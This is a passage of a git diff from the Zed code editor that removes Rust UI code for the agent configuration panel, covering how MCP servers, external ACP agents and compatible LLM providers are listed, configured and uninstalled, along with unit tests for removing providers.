-            .border_color(cx.theme().colors().border)
-            .child(self.render_section_title(
-                "Model Context Protocol (MCP) Servers",
-                "All MCP servers connected directly or via a Zed extension.",
-                add_server_popover.into_any_element(),
-            ))
-            .child(
-                v_flex()
-                    .pl_4()
-                    .pb_4()
-                    .pr_5()
-                    .w_full()
-                    .gap_1()
-                    .map(|parent| {
-                        if context_server_ids.is_empty() {
-                            parent.child(
-                                h_flex()
-                                    .p_4()
-                                    .justify_center()
-                                    .border_1()
-                                    .border_dashed()
-                                    .border_color(cx.theme().colors().border.opacity(0.6))
-                                    .rounded_sm()
-                                    .child(
-                                        Label::new("No MCP servers added yet.")
-                                            .color(Color::Muted)
-                                            .size(LabelSize::Small),
-                                    ),
-                            )
-                        } else {
-                            parent.children(itertools::intersperse_with(
-                                context_server_ids.iter().cloned().map(|context_server_id| {
-                                    self.render_context_server(context_server_id, cx)
-                                        .into_any_element()
-                                }),
-                                || {
-                                    Divider::horizontal()
-                                        .color(DividerColor::BorderFaded)
-                                        .into_any_element()
-                                },
-                            ))
-                        }
-                    }),
-            )
-    }
-
-    fn render_context_server(
-        &self,
-        context_server_id: ContextServerId,
-        cx: &Context<Self>,
-    ) -> impl use<> + IntoElement {
-        let server_status = self
-            .context_server_store
-            .read(cx)
-            .status_for_server(&context_server_id)
-            .unwrap_or(ContextServerStatus::Stopped);
-        let server_configuration = self
-            .context_server_store
-            .read(cx)
-            .configuration_for_server(&context_server_id);
-
-        let is_running = matches!(server_status, ContextServerStatus::Running);
-        let item_id = SharedString::from(context_server_id.0.clone());
-        // Servers without a configuration can only be provided by extensions.
-        let provided_by_extension = server_configuration.as_ref().is_none_or(|config| {
-            matches!(
-                config.as_ref(),
-                ContextServerConfiguration::Extension { .. }
-            )
-        });
-
-        let display_name = if provided_by_extension {
-            resolve_extension_for_context_server(&context_server_id, cx)
-                .map(|(_, manifest)| {
-                    let name = manifest.name.as_str();
-                    let stripped = name
-                        .strip_suffix(" MCP Server")
-                        .or_else(|| name.strip_suffix(" MCP"))
-                        .or_else(|| name.strip_suffix(" Context Server"))
-                        .unwrap_or(name);
-                    SharedString::from(stripped.to_string())
-                })
-                .unwrap_or_else(|| item_id.clone())
-        } else {
-            item_id.clone()
-        };
-
-        let error = if let ContextServerStatus::Error(error) = server_status.clone() {
-            Some(error)
-        } else {
-            None
-        };
-        let auth_required = matches!(server_status, ContextServerStatus::AuthRequired);
-        let client_secret_required = matches!(
-            server_status,
-            ContextServerStatus::ClientSecretRequired { .. }
-        );
-        let authenticating = matches!(server_status, ContextServerStatus::Authenticating);
-        let context_server_store = self.context_server_store.clone();
-        let workspace = self.workspace.clone();
-        let language_registry = self.language_registry.clone();
-
-        let tool_count = self
-            .context_server_registry
-            .read(cx)
-            .tools_for_server(&context_server_id)
-            .count();
-
-        let source = if provided_by_extension {
-            AiSettingItemSource::Extension
-        } else {
-            AiSettingItemSource::Custom
-        };
-
-        let status = match server_status {
-            ContextServerStatus::Starting => AiSettingItemStatus::Starting,
-            ContextServerStatus::Running => AiSettingItemStatus::Running,
-            ContextServerStatus::Error(_) => AiSettingItemStatus::Error,
-            ContextServerStatus::Stopped => AiSettingItemStatus::Stopped,
-            ContextServerStatus::AuthRequired => AiSettingItemStatus::AuthRequired,
-            ContextServerStatus::ClientSecretRequired { .. } => {
-                AiSettingItemStatus::ClientSecretRequired
-            }
-            ContextServerStatus::Authenticating => AiSettingItemStatus::Authenticating,
-        };
-
-        let is_remote = server_configuration
-            .as_ref()
-            .map(|config| matches!(config.as_ref(), ContextServerConfiguration::Http { .. }))
-            .unwrap_or(false);
-
-        let should_show_logout_button = server_configuration.as_ref().is_some_and(|config| {
-            matches!(config.as_ref(), ContextServerConfiguration::Http { .. })
-                && !config.has_static_auth_header()
-        });
-
-        let context_server_configuration_menu = PopoverMenu::new("context-server-config-menu")
-            .trigger_with_tooltip(
-                IconButton::new("context-server-config-menu", IconName::Settings)
-                    .icon_color(Color::Muted)
-                    .icon_size(IconSize::Small),
-                Tooltip::text("Configure MCP Server"),
-            )
-            .anchor(Anchor::TopRight)
-            .menu({
-                let fs = self.fs.clone();
-                let context_server_id = context_server_id.clone();
-                let language_registry = self.language_registry.clone();
-                let workspace = self.workspace.clone();
-                let context_server_registry = self.context_server_registry.clone();
-                let context_server_store = context_server_store.clone();
-
-                move |window, cx| {
-                    Some(ContextMenu::build(window, cx, |menu, _window, _cx| {
-                        menu.entry("Configure Server", None, {
-                            let context_server_id = context_server_id.clone();
-                            let language_registry = language_registry.clone();
-                            let workspace = workspace.clone();
-                            move |window, cx| {
-                                if is_remote {
-                                    crate::agent_configuration::configure_context_server_modal::ConfigureContextServerModal::show_modal_for_existing_server(
-                                        context_server_id.clone(),
-                                        language_registry.clone(),
-                                        workspace.clone(),
-                                        window,
-                                        cx,
-                                    )
-                                    .detach();
-                                } else {
-                                    ConfigureContextServerModal::show_modal_for_existing_server(
-                                        context_server_id.clone(),
-                                        language_registry.clone(),
-                                        workspace.clone(),
-                                        window,
-                                        cx,
-                                    )
-                                    .detach();
-                                }
-                            }
-                        }).when(tool_count > 0, |this| this.entry("View Tools", None, {
-                            let context_server_id = context_server_id.clone();
-                            let context_server_registry = context_server_registry.clone();
-                            let workspace = workspace.clone();
-                            move |window, cx| {
-                                let context_server_id = context_server_id.clone();
-                                workspace.update(cx, |workspace, cx| {
-                                    ConfigureContextServerToolsModal::toggle(
-                                        context_server_id,
-                                        context_server_registry.clone(),
-                                        workspace,
-                                        window,
-                                        cx,
-                                    );
-                                })
-                                .ok();
-                            }
-                        }))
-                        .when(should_show_logout_button, |this| {
-                            this.entry("Log Out", None, {
-                                let context_server_store = context_server_store.clone();
-                                let context_server_id = context_server_id.clone();
-                                move |_window, cx| {
-                                    context_server_store.update(cx, |store, cx| {
-                                        store.logout_server(&context_server_id, cx).log_err();
-                                    });
-                                }
-                            })
-                        })
-                        .separator()
-                        .entry("Uninstall", None, {
-                            let fs = fs.clone();
-                            let context_server_id = context_server_id.clone();
-                            let workspace = workspace.clone();
-                            move |_, cx| {
-                                let uninstall_extension_task = match (
-                                    provided_by_extension,
-                                    resolve_extension_for_context_server(&context_server_id, cx),
-                                ) {
-                                    (true, Some((id, manifest))) => {
-                                        if extension_only_provides_context_server(manifest.as_ref())
-                                        {
-                                            ExtensionStore::global(cx).update(cx, |store, cx| {
-                                                store.uninstall_extension(id, cx)
-                                            })
-                                        } else {
-                                            workspace.update(cx, |workspace, cx| {
-                                                show_unable_to_uninstall_extension_with_context_server(workspace, context_server_id.clone(), cx);
-                                            }).log_err();
-                                            Task::ready(Ok(()))
-                                        }
-                                    }
-                                    _ => Task::ready(Ok(())),
-                                };
-
-                                cx.spawn({
-                                    let fs = fs.clone();
-                                    let context_server_id = context_server_id.clone();
-                                    async move |cx| {
-                                        uninstall_extension_task.await?;
-                                        cx.update(|cx| {
-                                            update_settings_file(
-                                                fs.clone(),
-                                                cx,
-                                                {
-                                                    let context_server_id =
-                                                        context_server_id.clone();
-                                                    move |settings, _| {
-                                                        settings.project
-                                                            .context_servers
-                                                            .remove(&context_server_id.0);
-                                                    }
-                                                },
-                                            )
-                                        });
-                                        anyhow::Ok(())
-                                    }
-                                })
-                                .detach_and_log_err(cx);
-                            }
-                        })
-                    }))
-                }
-            });
-
-        let feedback_base_container =
-            || h_flex().py_1().min_w_0().w_full().gap_1().justify_between();
-
-        let details: Option<AnyElement> = if let Some(error) = error {
-            Some(
-                feedback_base_container()
-                    .child(
-                        h_flex()
-                            .pr_4()
-                            .min_w_0()
-                            .w_full()
-                            .gap_2()
-                            .child(
-                                Icon::new(IconName::XCircle)
-                                    .size(IconSize::XSmall)
-                                    .color(Color::Error),
-                            )
-                            .child(div().min_w_0().flex_1().child(
-                                Label::new(error).color(Color::Muted).size(LabelSize::Small),
-                            )),
-                    )
-                    .when(should_show_logout_button, |this| {
-                        this.child(
-                            Button::new("error-logout-server", "Log Out")
-                                .style(ButtonStyle::Outlined)
-                                .label_size(LabelSize::Small)
-                                .on_click({
-                                    let context_server_store = context_server_store.clone();
-                                    let context_server_id = context_server_id.clone();
-                                    move |_event, _window, cx| {
-                                        context_server_store.update(cx, |store, cx| {
-                                            store.logout_server(&context_server_id, cx).log_err();
-                                        });
-                                    }
-                                }),
-                        )
-                    })
-                    .into_any_element(),
-            )
-        } else if auth_required {
-            Some(
-                feedback_base_container()
-                    .child(
-                        h_flex()
-                            .pr_4()
-                            .min_w_0()
-                            .w_full()
-                            .gap_2()
-                            .child(
-                                Icon::new(IconName::Info)
-                                    .size(IconSize::XSmall)
-                                    .color(Color::Muted),
-                            )
-                            .child(
-                                Label::new("Authenticate to connect this server")
-                                    .color(Color::Muted)
-                                    .size(LabelSize::Small),
-                            ),
-                    )
-                    .child(
-                        Button::new("authenticate-server", "Authenticate")
-                            .style(ButtonStyle::Outlined)
-                            .label_size(LabelSize::Small)
-                            .on_click({
-                                let context_server_id = context_server_id.clone();
-                                move |_event, _window, cx| {
-                                    context_server_store.update(cx, |store, cx| {
-                                        store.authenticate_server(&context_server_id, cx).log_err();
-                                    });
-                                }
-                            }),
-                    )
-                    .into_any_element(),
-            )
-        } else if client_secret_required {
-            Some(
-                feedback_base_container()
-                    .child(
-                        h_flex()
-                            .pr_4()
-                            .min_w_0()
-                            .w_full()
-                            .gap_2()
-                            .child(
-                                Icon::new(IconName::Info)
-                                    .size(IconSize::XSmall)
-                                    .color(Color::Muted),
-                            )
-                            .child(
-                                Label::new("Enter a client secret to connect this server")
-                                    .color(Color::Muted)
-                                    .size(LabelSize::Small),
-                            ),
-                    )
-                    .child(
-                        Button::new("enter-client-secret", "Enter Client Secret")
-                            .style(ButtonStyle::Outlined)
-                            .label_size(LabelSize::Small)
-                            .on_click({
-                                let context_server_id = context_server_id.clone();
-                                move |_event, window, cx| {
-                                    ConfigureContextServerModal::show_modal_for_existing_server(
-                                        context_server_id.clone(),
-                                        language_registry.clone(),
-                                        workspace.clone(),
-                                        window,
-                                        cx,
-                                    )
-                                    .detach();
-                                }
-                            }),
-                    )
-                    .into_any_element(),
-            )
-        } else if authenticating {
-            Some(
-                h_flex()
-                    .mt_1()
-                    .pr_4()
-                    .min_w_0()
-                    .w_full()
-                    .gap_2()
-                    .child(div().size_3().flex_shrink_0())
-                    .child(
-                        Label::new("Authenticating…")
-                            .color(Color::Muted)
-                            .size(LabelSize::Small),
-                    )
-                    .into_any_element(),
-            )
-        } else {
-            None
-        };
-
-        let tool_label = if is_running {
-            Some(if tool_count == 1 {
-                SharedString::from("1 tool")
-            } else {
-                SharedString::from(format!("{} tools", tool_count))
-            })
-        } else {
-            None
-        };
-
-        AiSettingItem::new(item_id, display_name, status, source)
-            .action(context_server_configuration_menu)
-            .action(
-                Switch::new("context-server-switch", is_running.into()).on_click({
-                    let context_server_manager = self.context_server_store.clone();
-                    let fs = self.fs.clone();
-
-                    move |state, _window, cx| {
-                        let is_enabled = match state {
-                            ToggleState::Unselected | ToggleState::Indeterminate => {
-                                context_server_manager.update(cx, |this, cx| {
-                                    this.stop_server(&context_server_id, cx).log_err();
-                                });
-                                false
-                            }
-                            ToggleState::Selected => {
-                                context_server_manager.update(cx, |this, cx| {
-                                    if let Some(server) = this.get_server(&context_server_id) {
-                                        this.start_server(server, cx);
-                                    }
-                                });
-                                true
-                            }
-                        };
-                        update_settings_file(fs.clone(), cx, {
-                            let context_server_id = context_server_id.clone();
-
-                            move |settings, _| {
-                                settings
-                                    .project
-                                    .context_servers
-                                    .entry(context_server_id.0)
-                                    .or_insert_with(|| {
-                                        settings::ContextServerSettingsContent::Extension {
-                                            enabled: is_enabled,
-                                            remote: false,
-                                            settings: serde_json::json!({}),
-                                        }
-                                    })
-                                    .set_enabled(is_enabled);
-                            }
-                        });
-                    }
-                }),
-            )
-            .when_some(tool_label, |this, label| this.detail_label(label))
-            .when_some(details, |this, details| this.details(details))
-    }
-
-    fn render_agent_servers_section(&mut self, cx: &mut Context<Self>) -> impl IntoElement {
-        let agent_server_store = self.agent_server_store.read(cx);
-
-        let agents = agent_server_store
-            .external_agents()
-            .cloned()
-            .collect::<Vec<_>>();
-
-        let agents: Vec<_> = agents
-            .into_iter()
-            .map(|name| {
-                let icon = if let Some(icon_path) = agent_server_store.agent_icon(&name) {
-                    AgentIcon::Path(icon_path)
-                } else {
-                    AgentIcon::Name(IconName::Sparkle)
-                };
-                let display_name = agent_server_store
-                    .agent_display_name(&name)
-                    .unwrap_or_else(|| name.0.clone());
-                let source = agent_server_store.agent_source(&name).unwrap_or_default();
-                (name, icon, display_name, source)
-            })
-            .sorted_unstable_by_key(|(_, _, display_name, _)| display_name.to_lowercase())
-            .collect();
-
-        let add_agent_popover = PopoverMenu::new("add-agent-server-popover")
-            .trigger(
-                Button::new("add-agent", "Add Agent")
-                    .style(ButtonStyle::Outlined)
-                    .start_icon(
-                        Icon::new(IconName::Plus)
-                            .size(IconSize::Small)
-                            .color(Color::Muted),
-                    )
-                    .label_size(LabelSize::Small),
-            )
-            .menu({
-                move |window, cx| {
-                    Some(ContextMenu::build(window, cx, |menu, _window, _cx| {
-                        menu.entry("Install from Registry", None, {
-                            |window, cx| {
-                                window.dispatch_action(Box::new(zed_actions::AcpRegistry), cx)
-                            }
-                        })
-                        .entry("Add Custom Agent", None, {
-                            move |window, cx| {
-                                if let Some(workspace) = Workspace::for_window(window, cx) {
-                                    let workspace = workspace.downgrade();
-                                    window
-                                        .spawn(cx, async |cx| {
-                                            open_new_agent_servers_entry_in_settings_editor(
-                                                workspace, cx,
-                                            )
-                                            .await
-                                        })
-                                        .detach_and_log_err(cx);
-                                }
-                            }
-                        })
-                        .separator()
-                        .header("Learn More")
-                        .item(
-                            ContextMenuEntry::new("ACP Docs")
-                                .icon(IconName::ArrowUpRight)
-                                .icon_color(Color::Muted)
-                                .icon_position(IconPosition::End)
-                                .handler({
-                                    move |window, cx| {
-                                        window.dispatch_action(
-                                            Box::new(OpenBrowser {
-                                                url: "https://agentclientprotocol.com/".into(),
-                                            }),
-                                            cx,
-                                        );
-                                    }
-                                }),
-                        )
-                    }))
-                }
-            })
-            .anchor(gpui::Anchor::TopRight)
-            .offset(gpui::Point {
-                x: px(0.0),
-                y: px(2.0),
-            });
-
-        v_flex()
-            .min_w_0()
-            .border_b_1()
-            .border_color(cx.theme().colors().border)
-            .child(
-                v_flex()
-                    .child(self.render_section_title(
-                        "External Agents",
-                        "All agents connected through the Agent Client Protocol.",
-                        add_agent_popover.into_any_element(),
-                    ))
-                    .child(
-                        v_flex()
-                            .p_4()
-                            .pt_0()
-                            .gap_2()
-                            .children(Itertools::intersperse_with(
-                                agents
-                                    .into_iter()
-                                    .map(|(name, icon, display_name, source)| {
-                                        self.render_agent_server(
-                                            icon,
-                                            name,
-                                            display_name,
-                                            source,
-                                            cx,
-                                        )
-                                        .into_any_element()
-                                    }),
-                                || {
-                                    Divider::horizontal()
-                                        .color(DividerColor::BorderFaded)
-                                        .into_any_element()
-                                },
-                            )),
-                    ),
-            )
-    }
-
-    fn render_agent_server(
-        &self,
-        icon: AgentIcon,
-        id: impl Into<SharedString>,
-        display_name: impl Into<SharedString>,
-        source: ExternalAgentSource,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement {
-        let id = id.into();
-        let display_name = display_name.into();
-
-        let icon = match icon {
-            AgentIcon::Name(icon_name) => Icon::new(icon_name)
-                .size(IconSize::Small)
-                .color(Color::Muted),
-            AgentIcon::Path(icon_path) => Icon::from_external_svg(icon_path)
-                .size(IconSize::Small)
-                .color(Color::Muted),
-        };
-
-        let source_kind = match source {
-            ExternalAgentSource::Registry => AiSettingItemSource::Registry,
-            ExternalAgentSource::Custom => AiSettingItemSource::Custom,
-        };
-
-        let agent_server_name = AgentId(id.clone());
-        let agent = Agent::Custom {
-            id: agent_server_name.clone(),
-        };
-
-        let (connection_status, running_version) = {
-            let connection_store = self.agent_connection_store.read(cx);
-            (
-                connection_store.connection_status(&agent, cx),
-                connection_store.agent_version(&agent, cx),
-            )
-        };
-
-        let restart_button = matches!(
-            connection_status,
-            AgentConnectionStatus::Connected | AgentConnectionStatus::Connecting
-        )
-        .then(|| {
-            IconButton::new(
-                SharedString::from(format!("restart-{}", id)),
-                IconName::RotateCw,
-            )
-            .disabled(connection_status == AgentConnectionStatus::Connecting)
-            .icon_color(Color::Muted)
-            .icon_size(IconSize::Small)
-            .tooltip(Tooltip::text("Restart Agent Connection"))
-            .on_click(cx.listener({
-                let agent = agent.clone();
-                move |this, _, _window, cx| {
-                    let server: Rc<dyn agent_servers::AgentServer> =
-                        Rc::new(agent_servers::CustomAgentServer::new(agent.id()));
-                    this.agent_connection_store.update(cx, |store, cx| {
-                        store.restart_connection(agent.clone(), server, cx);
-                    });
-                }
-            }))
-        });
-
-        let uninstall_button = match source {
-            ExternalAgentSource::Registry => {
-                let fs = self.fs.clone();
-                Some(
-                    IconButton::new(
-                        SharedString::from(format!("uninstall-{}", id)),
-                        IconName::Trash,
-                    )
-                    .icon_color(Color::Muted)
-                    .icon_size(IconSize::Small)
-                    .tooltip(Tooltip::text("Remove Registry Agent"))
-                    .on_click(cx.listener(move |_, _, _window, cx| {
-                        let agent_name = agent_server_name.clone();
-                        update_settings_file(fs.clone(), cx, move |settings, _| {
-                            let Some(agent_servers) = settings.agent_servers.as_mut() else {
-                                return;
-                            };
-                            if let Some(entry) = agent_servers.get(agent_name.0.as_ref())
-                                && matches!(
-                                    entry,
-                                    settings::CustomAgentServerSettings::Registry { .. }
-                                )
-                            {
-                                agent_servers.remove(agent_name.0.as_ref());
-                            }
-                        });
-                    })),
-                )
-            }
-            ExternalAgentSource::Custom => {
-                let fs = self.fs.clone();
-                Some(
-                    IconButton::new(
-                        SharedString::from(format!("uninstall-{}", id)),
-                        IconName::Trash,
-                    )
-                    .icon_color(Color::Muted)
-                    .icon_size(IconSize::Small)
-                    .tooltip(Tooltip::text("Remove Custom Agent"))
-                    .on_click(cx.listener(move |_, _, _window, cx| {
-                        let agent_name = agent_server_name.clone();
-                        update_settings_file(fs.clone(), cx, move |settings, _| {
-                            let Some(agent_servers) = settings.agent_servers.as_mut() else {
-                                return;
-                            };
-                            if let Some(entry) = agent_servers.get(agent_name.0.as_ref())
-                                && matches!(
-                                    entry,
-                                    settings::CustomAgentServerSettings::Custom { .. }
-                                )
-                            {
-                                agent_servers.remove(agent_name.0.as_ref());
-                            }
-                        });
-                    })),
-                )
-            }
-        };
-
-        let status = match connection_status {
-            AgentConnectionStatus::Disconnected => AiSettingItemStatus::Stopped,
-            AgentConnectionStatus::Connecting => AiSettingItemStatus::Starting,
-            AgentConnectionStatus::Connected => AiSettingItemStatus::Running,
-        };
-
-        AiSettingItem::new(id, display_name, status, source_kind)
-            .icon(icon)
-            .when_some(running_version, |this, version| this.detail_label(version))
-            .when_some(restart_button, |this, button| this.action(button))
-            .when_some(uninstall_button, |this, button| this.action(button))
-    }
-}
-
-impl Render for AgentConfiguration {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex()
-            .id("assistant-configuration")
-            .key_context("AgentConfiguration")
-            .track_focus(&self.focus_handle(cx))
-            .relative()
-            .size_full()
-            .pb_8()
-            .bg(cx.theme().colors().panel_background)
-            .child(
-                div()
-                    .size_full()
-                    .child(
-                        v_flex()
-                            .id("assistant-configuration-content")
-                            .track_scroll(&self.scroll_handle)
-                            .size_full()
-                            .min_w_0()
-                            .overflow_y_scroll()
-                            .child(self.render_agent_servers_section(cx))
-                            .child(self.render_context_servers_section(cx))
-                            .child(self.render_provider_configuration_section(cx)),
-                    )
-                    .vertical_scrollbar_for(&self.scroll_handle, window, cx),
-            )
-    }
-}
-
-fn extension_only_provides_context_server(manifest: &ExtensionManifest) -> bool {
-    manifest.context_servers.len() == 1
-        && manifest.themes.is_empty()
-        && manifest.icon_themes.is_empty()
-        && manifest.languages.is_empty()
-        && manifest.grammars.is_empty()
-        && manifest.language_servers.is_empty()
-        && manifest.slash_commands.is_empty()
-        && manifest.snippets.is_none()
-        && manifest.debug_locators.is_empty()
-}
-
-pub(crate) fn resolve_extension_for_context_server(
-    id: &ContextServerId,
-    cx: &App,
-) -> Option<(Arc<str>, Arc<ExtensionManifest>)> {
-    ExtensionStore::global(cx)
-        .read(cx)
-        .installed_extensions()
-        .iter()
-        .find(|(_, entry)| entry.manifest.context_servers.contains_key(&id.0))
-        .map(|(id, entry)| (id.clone(), entry.manifest.clone()))
-}
-
-// This notification appears when trying to delete
-// an MCP server extension that not only provides
-// the server, but other things, too, like language servers and more.
-fn show_unable_to_uninstall_extension_with_context_server(
-    workspace: &mut Workspace,
-    id: ContextServerId,
-    cx: &mut App,
-) {
-    let workspace_handle = workspace.weak_handle();
-    let context_server_id = id.clone();
-
-    let status_toast = StatusToast::new(
-        format!(
-            "The {} extension provides more than just the MCP server. Proceed to uninstall anyway?",
-            id.0
-        ),
-        cx,
-        move |this, _cx| {
-            let workspace_handle = workspace_handle.clone();
-
-            this.icon(
-                Icon::new(IconName::Warning)
-                    .size(IconSize::Small)
-                    .color(Color::Warning),
-            )
-            .dismiss_button(true)
-            .action("Uninstall", move |_, _cx| {
-                if let Some((extension_id, _)) =
-                    resolve_extension_for_context_server(&context_server_id, _cx)
-                {
-                    ExtensionStore::global(_cx).update(_cx, |store, cx| {
-                        store
-                            .uninstall_extension(extension_id, cx)
-                            .detach_and_log_err(cx);
-                    });
-
-                    workspace_handle
-                        .update(_cx, |workspace, cx| {
-                            let fs = workspace.app_state().fs.clone();
-                            cx.spawn({
-                                let context_server_id = context_server_id.clone();
-                                async move |_workspace_handle, cx| {
-                                    cx.update(|cx| {
-                                        update_settings_file(fs, cx, move |settings, _| {
-                                            settings
-                                                .project
-                                                .context_servers
-                                                .remove(&context_server_id.0);
-                                        });
-                                    });
-                                    anyhow::Ok(())
-                                }
-                            })
-                            .detach_and_log_err(cx);
-                        })
-                        .log_err();
-                }
-            })
-        },
-    );
-
-    workspace.toggle_status_toast(status_toast, cx);
-}
-
-async fn open_new_agent_servers_entry_in_settings_editor(
-    workspace: WeakEntity<Workspace>,
-    cx: &mut AsyncWindowContext,
-) -> Result<()> {
-    let settings_editor = workspace
-        .update_in(cx, |_, window, cx| {
-            create_and_open_local_file(paths::settings_file(), window, cx, || {
-                settings::initial_user_settings_content().as_ref().into()
-            })
-        })?
-        .await?
-        .downcast::<Editor>()
-        .unwrap();
-
-    settings_editor
-        .downgrade()
-        .update_in(cx, |item, window, cx| {
-            let text = item.buffer().read(cx).snapshot(cx).text();
-
-            let settings = cx.global::<SettingsStore>();
-
-            let mut unique_server_name = None;
-            let Some(edits) = settings
-                .edits_for_update(&text, |settings| {
-                    let server_name: Option<String> = (0..u8::MAX)
-                        .map(|i| {
-                            if i == 0 {
-                                "your_agent".to_string()
-                            } else {
-                                format!("your_agent_{}", i)
-                            }
-                        })
-                        .find(|name| {
-                            !settings
-                                .agent_servers
-                                .as_ref()
-                                .is_some_and(|agent_servers| {
-                                    agent_servers.contains_key(name.as_str())
-                                })
-                        });
-                    if let Some(server_name) = server_name {
-                        unique_server_name = Some(SharedString::from(server_name.clone()));
-                        settings.agent_servers.get_or_insert_default().insert(
-                            server_name,
-                            settings::CustomAgentServerSettings::Custom {
-                                path: "path_to_executable".into(),
-                                args: vec![],
-                                env: HashMap::default(),
-                                default_mode: None,
-                                default_config_options: Default::default(),
-                                favorite_config_option_values: Default::default(),
-                            },
-                        );
-                    }
-                })
-                .log_err()
-            else {
-                return;
-            };
-
-            if edits.is_empty() {
-                return;
-            }
-
-            let ranges = edits
-                .iter()
-                .map(|(range, _)| range.clone())
-                .collect::<Vec<_>>();
-
-            item.edit(
-                edits.into_iter().map(|(range, s)| {
-                    (
-                        MultiBufferOffset(range.start)..MultiBufferOffset(range.end),
-                        s,
-                    )
-                }),
-                cx,
-            );
-            if let Some((unique_server_name, buffer)) =
-                unique_server_name.zip(item.buffer().read(cx).as_singleton())
-            {
-                let snapshot = buffer.read(cx).snapshot();
-                if let Some(range) =
-                    find_text_in_buffer(&unique_server_name, ranges[0].start, &snapshot)
-                {
-                    item.change_selections(
-                        SelectionEffects::scroll(Autoscroll::newest()),
-                        window,
-                        cx,
-                        |selections| {
-                            selections.select_ranges(vec![
-                                MultiBufferOffset(range.start)..MultiBufferOffset(range.end),
-                            ]);
-                        },
-                    );
-                }
-            }
-        })
-}
-
-fn find_text_in_buffer(
-    text: &str,
-    start: usize,
-    snapshot: &language::BufferSnapshot,
-) -> Option<Range<usize>> {
-    let chars = text.chars().collect::<Vec<char>>();
-
-    let mut offset = start;
-    let mut char_offset = 0;
-    for c in snapshot.chars_at(start) {
-        if char_offset >= chars.len() {
-            break;
-        }
-        offset += 1;
-
-        if c == chars[char_offset] {
-            char_offset += 1;
-        } else {
-            char_offset = 0;
-        }
-    }
-
-    if char_offset == chars.len() {
-        Some(offset.saturating_sub(chars.len())..offset)
-    } else {
-        None
-    }
-}
-
-// API-compatible providers are user-configured and can be removed,
-// whereas built-in providers (like Anthropic, OpenAI, Google, etc.) can't.
-//
-// If in the future we have more "API-compatible-type" of providers,
-// they should be included here as removable providers.
-fn is_removable_provider(provider_id: &LanguageModelProviderId, cx: &App) -> bool {
-    let settings = AllLanguageModelSettings::get_global(cx);
-    settings
-        .openai_compatible
-        .contains_key(provider_id.0.as_ref())
-        || settings
-            .anthropic_compatible
-            .contains_key(provider_id.0.as_ref())
-}
-
-fn remove_compatible_provider(settings: &mut SettingsContent, provider_id: &str) {
-    // Mirrors the OpenAI-wins precedence used at registration time: only the
-    // entry that is actually registered gets removed. A shadowed
-    // `anthropic_compatible` entry with the same name takes over instead of
-    // being silently deleted.
-    let Some(language_models) = settings.language_models.as_mut() else {
-        return;
-    };
-    let removed_from_openai = language_models
-        .openai_compatible
-        .as_mut()
-        .and_then(|providers| providers.remove(provider_id))
-        .is_some();
-    if !removed_from_openai && let Some(providers) = language_models.anthropic_compatible.as_mut() {
-        providers.remove(provider_id);
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-    use settings::{AnthropicCompatibleSettingsContent, OpenAiCompatibleSettingsContent};
-
-    fn settings_with_compatible_providers(openai: &[&str], anthropic: &[&str]) -> SettingsContent {
-        let mut settings = SettingsContent::default();
-        let language_models = settings.language_models.get_or_insert_default();
-        language_models.openai_compatible = Some(
-            openai
-                .iter()
-                .map(|id| {
-                    (
-                        Arc::from(*id),
-                        OpenAiCompatibleSettingsContent {
-                            api_url: "https://example.com".to_string(),
-                            available_models: Vec::new(),
-                            custom_headers: None,
-                        },
-                    )
-                })
-                .collect(),
-        );
-        language_models.anthropic_compatible = Some(
-            anthropic
-                .iter()
-                .map(|id| {
-                    (
-                        Arc::from(*id),
-                        AnthropicCompatibleSettingsContent {
-                            api_url: "https://example.com".to_string(),
-                            available_models: Vec::new(),
-                            custom_headers: None,
-                        },
-                    )
-                })
-                .collect(),
-        );
-        settings
-    }
-
-    fn compatible_provider_keys(settings: &SettingsContent) -> (Vec<&str>, Vec<&str>) {
-        fn keys<T>(providers: Option<&HashMap<Arc<str>, T>>) -> Vec<&str> {
-            providers
-                .map(|providers| providers.keys().map(|key| key.as_ref()).collect())
-                .unwrap_or_default()
-        }
-
-        let language_models = settings
-            .language_models
-            .as_ref()
-            .expect("language_models settings should exist");
-        (
-            keys(language_models.openai_compatible.as_ref()),
-            keys(language_models.anthropic_compatible.as_ref()),
-        )
-    }
-
-    #[test]
-    fn test_remove_compatible_provider_openai_only() {
-        let mut settings = settings_with_compatible_providers(&["acme"], &[]);
-        remove_compatible_provider(&mut settings, "acme");
-        let (openai, anthropic) = compatible_provider_keys(&settings);
-        assert_eq!(openai, Vec::<&str>::new());
-        assert_eq!(anthropic, Vec::<&str>::new());
-    }
-
-    #[test]
-    fn test_remove_compatible_provider_anthropic_only() {
-        let mut settings = settings_with_compatible_providers(&[], &["acme"]);
-        remove_compatible_provider(&mut settings, "acme");
-        let (openai, anthropic) = compatible_provider_keys(&settings);
-        assert_eq!(openai, Vec::<&str>::new());
-        assert_eq!(anthropic, Vec::<&str>::new());
-    }
-
-    #[test]
-    fn test_remove_compatible_provider_collision_removes_only_openai_entry() {
-        let mut settings = settings_with_compatible_providers(&["acme"], &["acme"]);
-
-        remove_compatible_provider(&mut settings, "acme");
-        let (openai, anthropic) = compatible_provider_keys(&settings);
-        assert_eq!(
-            openai,
-            Vec::<&str>::new(),
-            "the registered (OpenAI-compatible) entry should be removed"
-        );
-        assert_eq!(
-            anthropic,
-            vec!["acme"],
-            "the shadowed anthropic_compatible entry should survive"
-        );
-
-        // A second removal deletes the entry that took over.
-        remove_compatible_provider(&mut settings, "acme");
-        let (_, anthropic) = compatible_provider_keys(&settings);
-        assert_eq!(anthropic, Vec::<&str>::new());
-    }
-
-    #[test]
-    fn test_remove_compatible_provider_leaves_other_providers_untouched() {
-        let mut settings = settings_with_compatible_providers(&["acme", "globex"], &["initech"]);
-        remove_compatible_provider(&mut settings, "acme");
-        let (openai, anthropic) = compatible_provider_keys(&settings);
-        assert_eq!(openai, vec!["globex"]);
-        assert_eq!(anthropic, vec!["initech"]);
-    }
-}
diff --git a/crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs b/crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs
deleted file mode 100644
index d1f281bbca44c3..00000000000000
--- a/crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs
+++ /dev/null
@@ -1,1201 +0,0 @@
-use std::sync::Arc;
-
-use anyhow::Result;
-use fs::Fs;
-use gpui::{
-    DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, Render, ScrollHandle, Task, TaskExt,
-};
-use itertools::Itertools as _;
-use language_model::LanguageModelRegistry;
